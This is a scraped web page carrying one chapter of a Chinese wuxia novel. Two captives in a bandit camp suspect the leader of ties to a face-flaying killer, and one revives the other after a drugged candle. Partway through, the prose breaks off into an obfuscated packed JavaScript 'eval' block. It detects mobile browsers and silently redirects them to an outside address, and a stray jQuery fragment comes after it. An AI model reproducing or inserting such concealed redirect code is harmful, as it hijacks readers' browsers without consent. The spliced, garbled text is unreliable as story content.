默认冷灰
24号文字
方正启体

8. 他生得很顺眼

作者:棉花派本书字数:K更新时间:
    “不能。”


    “老二,给两位客人松绑,安排住处。”芳颜吩咐道。


    她欲离开,忽然又停住:“不要怠慢了他们,我要在他们心情最愉悦的时候,剥下他们的脸皮。”


    “——尤其是这位公子的皮,收起你们的心思,不要伤了他一根汗毛。”


    “……是!”


    说完,她的身影很快便没入铁木门后的黑暗。


    二当家顿时失去了执行的动力:“都听见了?大当家发话了,去,带他们去西边那间空屋。”


    “是!”其他人也语气怏怏的,还有点可惜。


    谢今朝和花满楼被松了绑,领着走向营地西侧一间偏僻的石屋。


    沿途,那些马贼的目光依旧黏着,尤其是落在花满楼身上,带着毫不掩饰的探究与某种令人不适的兴味。


    ‘收起你们的心思’!


    谢今朝想起这句话,觉得这“心思”不是什么好东西,但没琢磨明白是什么心思。


    咔嚓一声,锁开了。


    进入石屋。


    屋内只有一桌、一榻,简陋但还算干净。


    谢今朝手腕几不可察地一错,那看似牢固的精钢铁锁已在他手中无声滑开,落在铺着干草的地面。


    “门口,四人看守。”他娓娓道来观察的结果,“西北方向的风里带来的水汽和花香最浓,那里应该有水源,还有你要的花。”


    花满楼由他在身后解开铁锁,也闻到了来自西北方位的水汽和花香,微笑道:“朝兄观察力果然入微,等夜深了,守备再放松些,我们一起去外面一探究竟。”


    这位“初入江湖”就沦为阶下囚的年轻刀客表现得十分冷漠和硬气:“守卫不放松,我们可以打出去。”


    花满楼手指无意识地轻抚过粗糙的桌面,似在斟酌,如何最大限度保全这位年轻刀客的骄傲,半响才道:“还是等夜深好,你的伤未愈,我不放心。”


    “——既然是能令人登上极乐的花,当然是在没有人打扰的情况下欣赏更好。”


    谢今朝勉强接受了这个理由。


    可惜花满楼不知道,这位硬气的“年轻人”其实是真的可以打出去。


    “朝兄,你可听说过‘画皮仙’?”花满楼的声音在寂静中响起,带着一丝不易察觉的凝重。


    谢今朝的手空着。


    那把普通刀不在身边的时候,被收走了,他总觉得手边少了什么,不是很习惯。


    “她很有名?”


    “二十年前,她非常出名。黑市有人皮面具,最早就是画皮仙制作出来的,据说她生得貌丑,最讨厌美人,喜欢剥人面皮为己用。所以她刚出江湖那五年,有不少妙龄女子遭她毒手,后来武林有人下了追杀令,她就消失了,不知是死了,还是躲起来了……”


    谢今朝的眉心越听凝得越深,发现无论哪个世界,都有人坏得很刁钻!


    花满楼停顿了下,忽然问:“那位大当家容貌如何?是否绝世无双?”


    谢今朝对“绝世”与否没有概念,他试着回忆了女人的脸:“很年轻。”


    “美吗?”


    “脸上没伤。”


    “年纪呢?”


    “最多二十。”


    花满楼问什么,他答什么,此刻完全忘了花满楼也有眼睛,可以自己亲眼目睹。


    花满楼:“如果是二十,那她就太年轻了。”


    谢今朝:“如果她二十,二十年前杀不了人。”


    花满楼:“我原先也是这么想的。但那位大当家身上的药味很复杂,至少有十七种珍稀药材的气息,还有一些我从未闻过的。其中不少用于止血,麻醉的。如果她是真的,她应该死在二十年才对。如果她是假的,可能是那位的——”


    “——传人。”


    “不错,我只是不明白,为何她要……”


    “——要问起你的家人。”


    花满楼静默一瞬:“家父是一介商人,年轻时喜欢江湖好友,但他不喜杀虐之事,按照道理来说,不会结交到画皮仙这等人。”


    “她打听时眼中无杀意。”


    花满楼“望”向他:“果真?”


    “她喜欢的是你的皮囊。”


    花满楼一点没有被宽慰的感动:“身体发肤受之父母,生得什么样的一张脸,花某自己决定不了。朝兄莫再取笑我了。”


    可谢今朝没有取笑他。


    烛火的光是暖的,柔柔地铺在那人眉宇间,将那份天生的温润衬得更加清晰。


    无论看多少次,花满楼的脸在他看来都生得极顺眼——那是一种看了让人心里舒坦、安稳的顺眼。


    窗户关上后。


    烛火的气息开始在屋内积聚,淡淡的油脂味,混着石室固有的潮湿。


    花满楼手撑在桌面假寐。


    几个呼吸后——


    眉峰几不可察地动了一下。


    这味道……


    为何有些……


    念头刚起,他骤然挣开眼:“朝兄!这烛火有问题!”


    谢今朝双眼倏地睁开。


    花满楼撑住桌沿站起。


    谢今朝已经一掌挥出,掌风过处,烛火应声而灭。


    石室陷入黑暗,花满楼脸上没有什么剧烈的表情变化,但软筋散一发作十分凶猛,他额角瞬间渗出一层细密的薄汗。


    黑暗中有碰到桌子的声音。


    “花满楼?”这是谢今朝第一次喊他的名字。


    “是我大意了,烛火之中,有软筋散。”花满楼本想后退一步,膝盖骤然像被抽去了力气,忽然软了一下。


    谢今朝身形一晃,已到他身侧。


    他的手比念头更快——在花满楼身形倾斜的刹那,已经扶住了他的手臂。另一只手极自然地揽过他的腰侧,将人稳稳带入怀中。


    冷香扑鼻,触手温热,隔着薄薄的春衫,谢今朝能感觉到那具身体正不受控制地微微发颤。


    他已经探上他的脉象。


    “无妨。”花满楼极少与人这样贴近,他素来是照顾人的那个,无论何时何地都能从容应对,此刻被谢今朝揽着,几乎半靠在他怀里,竟有一瞬间的怔愣,连呼吸都滞了滞,“只是软筋散而已……”


    刀宗弟子接受过毒迷药训练,也知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489819|202175||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道该怎么探查基本的脉象,谢今朝目光从花满楼额角的薄汗,移到他苍白的脸色,确定手下没从脉象把出不妥,才说:“脉象没毒,这药只会让人失去力气,我帮你运动驱散。”


    花满楼努力让声音保持平稳,“不必,你——”


    他没能说完。一阵更强的虚软袭来,连撑住自己站立的气力都在流失。


    谢今朝将花满楼更稳地揽住,自己先一步坐在榻边,带着花满楼一同坐下。一只手依旧环着他的腰不让他倒下,另一只手抵上他的后背,掌心贴着那单薄的衣衫。


    化药效的修为徐徐渡入。


    花满楼能感觉到那股“内力”正沿着经脉游走,将他体内逐渐蔓延的麻痹感一寸一寸压制、收拢,困在某一处无法扩散,而后彻底消散。


    “朝兄……”


    “……先别浪费你的内力。”


    他们眼下的形势还不分明。


    谢今朝的声音从后面传来,依旧简短,却比平日更沉了一些,“凝神。”


    见此,花满楼没有再说话,闭着眼,感受着体内那股力量的游走。


    烛火轻轻摇曳,将两人的影子投在石壁上,融成一体。


    不知过了多久,那股软麻的感觉终于被压制下去。花满楼试着动了动手指,已经能勉强收放。


    “可以了。”他的声音有些低哑,“奇怪,你的内力如常,这软筋散是对你没有用?”


    谢今朝收回手,虽然不是“内力”,但是对花满楼有用就好:“寻常迷药对刀宗门人无效。”


    “果然是好厉害的门派,”花满垂眉夸赞,神色温和,“多谢你了,还好有你在。”


    谢今朝轻“嗯”了一声。


    “——死鬼,撒手!”


    “——少占别鸟家少爷的便宜!”


    那破鸟不知道什么又跑出来了。


    谢今朝收回放在花满楼腰侧的手。


    花满楼耳朵一烫:“你这鹦鹉以前——”


    “——它以前喜欢到处听墙角,你不用管它胡言乱语。”谢今朝道。


    “它到底是从哪里跑出来的?”


    怎么每次出来连他都听不见。


    谢今朝:“空间行囊里。”


    又是这里?


    但花满楼想不明白到底是哪里?


    谢今朝本想带花满楼的手去摸摸看,又觉得不合适——因为师兄们说,刀宗的空间行囊只能与枕边人共享。


    虽然他不会有枕边人。


    *


    ——与此同时,石屋的另一端。


    穿过那扇沉重的铁木门,沿着石阶向下,竟别有洞天。


    密室干燥得像被火焰烘烤过千百遍,石壁上的灯盏里燃着油脂,将一切都染上暖黄色调。


    密室供着像,那是一幅女子画像。


    画上是个女子,约莫三十出头的模样,眉眼清丽,透着几分疏离的冷,穿着身月白的衣裙,像九天的神女。


    那眉眼,与花满楼竟有三分相似。


    芳颜跪在画像前,膝下没有蒲团,她就直接跪在冰冷的石板上。


    脊背挺得很直。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)